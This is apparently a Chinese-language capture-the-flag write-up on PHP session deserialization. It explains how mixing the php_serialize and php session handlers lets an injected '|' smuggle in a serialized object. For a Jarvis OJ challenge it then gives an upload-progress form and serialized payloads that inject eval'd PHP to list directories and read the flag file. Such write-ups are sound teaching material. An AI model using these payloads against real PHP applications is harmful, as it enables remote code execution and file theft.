php存储session有三种模式,php_serialize, php, binary
1 | php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值 |
其中php_serialize和php的不合理使用会导致安全问题的发生
关于session的存储,java是将用户的session存入内存中,而php则是将session以文件的形式存储在服务器某个tmp文件中,可以在php.ini里面设置session.save_path存储的位置
设置序列化规则则是
注意,php_serialize在5.5版本后新加的一种规则,5.4及之前版本,如果设置成php_serialize会报错
1 | session.serialize_handler = php 一直都在 它是用 |分割 |
首先看 session.serialize_handler = php 序列化的结果
它的规则是$_SESSION是个数组,数组中的键和值中间用 | 来分割,值如果是数组或对象按照序列化的格式存储
session.serialize_handler = php_serialize的序列化结果为
它是全程按照serialize的格式序列化了$_SESSION这个数组
它比php的格式多了个最前面多了个 “a:2:{ ….” 也就是$_SESSION这个数组有2个元素,还有个区别在于,它的键名也表明了长度和属性,中间用 ; 来隔开键值对
虽然2个序列化格式本身没有问题,但是如果2个混合起用就会造成危害
形成原理是在用 session.serialize_handler = php_serialize 存储的字符可以引入 | ,再用 session.serialize_handler = php 格式取出$_SESSION的值时“|”会被当成键值对的分隔符
即,当先用php存了数组,在$_SESSION[‘a’]的值中加入 | ,并在之后写成一个数组的序列化格式
如果正常的用php_serialize解析,它返回的是$_SESSION[‘a’]是个长度为50的字符串
如果用php进行解析,发现它理解为一个很长的名字的值是一个带了2个元素的数组
例题
题目链接:http://web.jarvisoj.com:32784/
题目源码:
1 |
|
由源码可知,能够查看phpinfo
除此之外,看到construct()和_destruct()两个魔术方法,很有可能是反序列化。并且,destruct()中有 eval($this -> mdzz)
如果 $this -> mdzz 可控的话,那就明显是个webshell了,但这里不知如何利用
再看到备注的 ini_set(‘session.serialize_handler’,’php’) 又从phpinfo中可看到
在php.ini中默认的session.serialize_handler为php_serialize,而index.php中将其设置为了php,这就导致了session的反序列化问题 (PHP 获取到 session 字符串后,就开始查找第一个 |(竖线),用竖线将字符串分割成“键名”和“键值”, 并对“键值”进行反序列化。但如果这次反序列化失败,就放弃这次解析,再去找下一个竖线,执行同样的操作,直到成功。)
这个漏洞如果要触发,则需要在服务器中写入一个使用php_serialize序列话的值,然后访问时就会被php的引擎反序列化
学习大佬的笔记,利用了 上传进度支持(Upload progress in sessions) 的知识点来向服务器设置session。具体为,在上传文件时,如果POST一个名为PHP_SESSION_UPLOAD_PROGRESS的变量,就可以将filename的值赋值到session中
查看该题的phpinfo,session.upload_progress.enabled 打开,session.upload_progress.cleanup 关闭
上传页面的写法如下:
1 | <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> |
任意上传文件后,在访问文件名时,触发反序列化漏洞,我们需要控制名字。实际上我们可以看到,我们最终需要的是class类中的一个$mdzz变量,在序列化中保存的信息会采用class的信息保存,不仅有mdzz变量,所以复制一个同样的class和变量然后来序列化
1 |
|
为防止转义,在引号前加上\。在前面加上一个|,这是session的格式
1 | |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";} |
同理
1 | |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";} |
那么只需利用file_get_contents()即可得到文件内容
1 | |O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";} |